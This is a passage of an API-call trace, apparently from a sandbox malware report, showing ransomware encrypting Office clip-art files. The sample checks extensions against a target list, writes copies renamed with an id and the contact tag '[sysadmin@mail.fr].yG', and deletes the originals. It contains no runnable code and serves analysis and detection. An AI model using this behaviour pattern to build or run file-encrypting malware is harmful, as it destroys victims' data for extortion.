	[0057.453] WriteFile (in: hFile=0x388, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xa800, lpOverlapped=0x0) returned 1
	[0057.454] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0057.454] WriteFile (in: hFile=0x388, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0057.454] SetEndOfFile (hFile=0x388) returned 1
	[0057.454] CloseHandle (hObject=0x388) returned 1
	[0057.455] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.455] SetEndOfFile (hFile=0x2d0) returned 1
	[0057.456] CloseHandle (hObject=0x2d0) returned 1
	[0057.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0057.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 1
	[0057.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0057.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0057.456] lstrlenW (lpString=".doc") returned 4
	[0057.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0057.456] lstrlenW (lpString=".docx") returned 5
	[0057.456] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0057.456] lstrlenW (lpString=".pdf") returned 4
	[0057.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0057.456] lstrlenW (lpString=".xls") returned 4
	[0057.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0057.456] lstrlenW (lpString=".xlsx") returned 5
	[0057.456] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0057.457] lstrlenW (lpString=".ppt") returned 4
	[0057.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0057.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0057.457] lstrlenW (lpString=".zip") returned 4
	[0057.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0057.457] lstrlenW (lpString=".rar") returned 4
	[0057.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0057.457] lstrlenW (lpString=".bz2") returned 4
	[0057.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0057.457] lstrlenW (lpString=".7z") returned 3
	[0057.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0057.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0057.457] lstrlenW (lpString=".dbf") returned 4
	[0057.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0057.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0057.457] lstrlenW (lpString=".1cd") returned 4
	[0057.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0057.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0057.457] lstrlenW (lpString=".jpg") returned 4
	[0057.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0057.457] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.457] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0057.458] GetLastError () returned 0x0
	[0057.458] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0xa79c, lpOverlapped=0x0) returned 1
	[0057.526] WriteFile (in: hFile=0x388, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xa7a0, lpOverlapped=0x0) returned 1
	[0057.527] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0057.527] WriteFile (in: hFile=0x388, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0057.527] SetEndOfFile (hFile=0x388) returned 1
	[0057.528] CloseHandle (hObject=0x388) returned 1
	[0057.528] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.528] SetEndOfFile (hFile=0x2d0) returned 1
	[0057.529] CloseHandle (hObject=0x2d0) returned 1
	[0057.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0057.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 1
	[0057.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0057.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0057.529] lstrlenW (lpString=".doc") returned 4
	[0057.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0057.529] lstrlenW (lpString=".docx") returned 5
	[0057.529] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0057.529] lstrlenW (lpString=".pdf") returned 4
	[0057.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0057.529] lstrlenW (lpString=".xls") returned 4
	[0057.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0057.529] lstrlenW (lpString=".xlsx") returned 5
	[0057.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0057.529] lstrlenW (lpString=".ppt") returned 4
	[0057.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0057.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0057.530] lstrlenW (lpString=".zip") returned 4
	[0057.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0057.530] lstrlenW (lpString=".rar") returned 4
	[0057.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0057.530] lstrlenW (lpString=".bz2") returned 4
	[0057.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0057.530] lstrlenW (lpString=".7z") returned 3
	[0057.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0057.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0057.530] lstrlenW (lpString=".dbf") returned 4
	[0057.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0057.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0057.530] lstrlenW (lpString=".1cd") returned 4
	[0057.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0057.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0057.530] lstrlenW (lpString=".jpg") returned 4
	[0057.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0058.925] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0058.925] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0058.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0058.926] GetLastError () returned 0x0
	[0058.926] ReadFile (in: hFile=0x388, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x2c8, lpOverlapped=0x0) returned 1
	[0058.926] WriteFile (in: hFile=0x340, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2d0, lpOverlapped=0x0) returned 1
	[0058.927] ReadFile (in: hFile=0x388, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0058.927] WriteFile (in: hFile=0x340, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0058.927] SetEndOfFile (hFile=0x340) returned 1
	[0058.928] CloseHandle (hObject=0x340) returned 1
	[0058.928] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0058.928] SetEndOfFile (hFile=0x388) returned 1
	[0058.928] CloseHandle (hObject=0x388) returned 1
	[0058.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0058.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 1
	[0058.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0058.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0058.929] lstrlenW (lpString=".doc") returned 4
	[0058.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0058.929] lstrlenW (lpString=".docx") returned 5
	[0058.929] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0058.929] lstrlenW (lpString=".pdf") returned 4
	[0058.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0058.929] lstrlenW (lpString=".xls") returned 4
	[0058.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0058.929] lstrlenW (lpString=".xlsx") returned 5
	[0058.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0058.929] lstrlenW (lpString=".ppt") returned 4
	[0058.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0058.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0058.929] lstrlenW (lpString=".zip") returned 4
	[0058.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0058.929] lstrlenW (lpString=".rar") returned 4
	[0058.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0058.929] lstrlenW (lpString=".bz2") returned 4
	[0058.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0058.929] lstrlenW (lpString=".7z") returned 3
	[0058.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0058.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0058.929] lstrlenW (lpString=".dbf") returned 4
	[0058.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0058.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0058.930] lstrlenW (lpString=".1cd") returned 4
	[0058.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0058.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0058.930] lstrlenW (lpString=".jpg") returned 4
	[0058.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0058.930] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0058.930] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0058.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0058.930] GetLastError () returned 0x0
	[0058.930] ReadFile (in: hFile=0x388, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0xb88, lpOverlapped=0x0) returned 1
	[0059.820] WriteFile (in: hFile=0x340, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xb90, lpOverlapped=0x0) returned 1
	[0059.820] ReadFile (in: hFile=0x388, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0059.820] WriteFile (in: hFile=0x340, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0059.821] SetEndOfFile (hFile=0x340) returned 1
	[0059.821] CloseHandle (hObject=0x340) returned 1
	[0059.821] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.821] SetEndOfFile (hFile=0x388) returned 1
	[0059.822] CloseHandle (hObject=0x388) returned 1
	[0059.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0059.822] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 1
	[0059.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0059.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0059.822] lstrlenW (lpString=".doc") returned 4
	[0059.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0059.822] lstrlenW (lpString=".docx") returned 5
	[0059.822] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0059.822] lstrlenW (lpString=".pdf") returned 4
	[0059.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0059.822] lstrlenW (lpString=".xls") returned 4
	[0059.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0059.822] lstrlenW (lpString=".xlsx") returned 5
	[0059.822] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0059.822] lstrlenW (lpString=".ppt") returned 4
	[0059.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0059.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0059.823] lstrlenW (lpString=".zip") returned 4
	[0059.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0059.823] lstrlenW (lpString=".rar") returned 4
	[0059.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0059.823] lstrlenW (lpString=".bz2") returned 4
	[0059.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0059.823] lstrlenW (lpString=".7z") returned 3
	[0059.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0059.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0059.823] lstrlenW (lpString=".dbf") returned 4
	[0059.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0059.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0059.823] lstrlenW (lpString=".1cd") returned 4
	[0059.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0059.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0059.823] lstrlenW (lpString=".jpg") returned 4
	[0059.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0059.823] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.823] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0059.824] GetLastError () returned 0x0
	[0059.824] ReadFile (in: hFile=0x388, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0xe6c, lpOverlapped=0x0) returned 1
	[0060.933] WriteFile (in: hFile=0x340, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xe70, lpOverlapped=0x0) returned 1
	[0060.934] ReadFile (in: hFile=0x388, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.934] WriteFile (in: hFile=0x340, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0060.934] SetEndOfFile (hFile=0x340) returned 1
	[0060.934] CloseHandle (hObject=0x340) returned 1
	[0060.934] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.934] SetEndOfFile (hFile=0x388) returned 1
	[0060.935] CloseHandle (hObject=0x388) returned 1
	[0060.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0060.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 1
	[0060.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0060.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0060.936] lstrlenW (lpString=".doc") returned 4
	[0060.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0060.936] lstrlenW (lpString=".docx") returned 5
	[0060.936] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0060.936] lstrlenW (lpString=".pdf") returned 4
	[0060.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0060.936] lstrlenW (lpString=".xls") returned 4
	[0060.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0060.936] lstrlenW (lpString=".xlsx") returned 5
	[0060.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0060.936] lstrlenW (lpString=".ppt") returned 4
	[0060.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0060.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0060.936] lstrlenW (lpString=".zip") returned 4
	[0060.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0060.936] lstrlenW (lpString=".rar") returned 4
	[0060.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0060.936] lstrlenW (lpString=".bz2") returned 4
	[0060.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0060.936] lstrlenW (lpString=".7z") returned 3
	[0060.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0060.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0060.936] lstrlenW (lpString=".dbf") returned 4
	[0060.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0060.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0060.937] lstrlenW (lpString=".1cd") returned 4
	[0060.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0060.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0060.937] lstrlenW (lpString=".jpg") returned 4
	[0060.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0060.937] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.937] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0060.937] GetLastError () returned 0x0
	[0060.937] ReadFile (in: hFile=0x388, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0xe20, lpOverlapped=0x0) returned 1
	[0061.303] WriteFile (in: hFile=0x340, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xe30, lpOverlapped=0x0) returned 1
	[0061.304] ReadFile (in: hFile=0x388, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.304] WriteFile (in: hFile=0x340, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0061.304] SetEndOfFile (hFile=0x340) returned 1
	[0061.304] CloseHandle (hObject=0x340) returned 1
	[0061.304] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.304] SetEndOfFile (hFile=0x388) returned 1
	[0061.305] CloseHandle (hObject=0x388) returned 1
	[0061.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
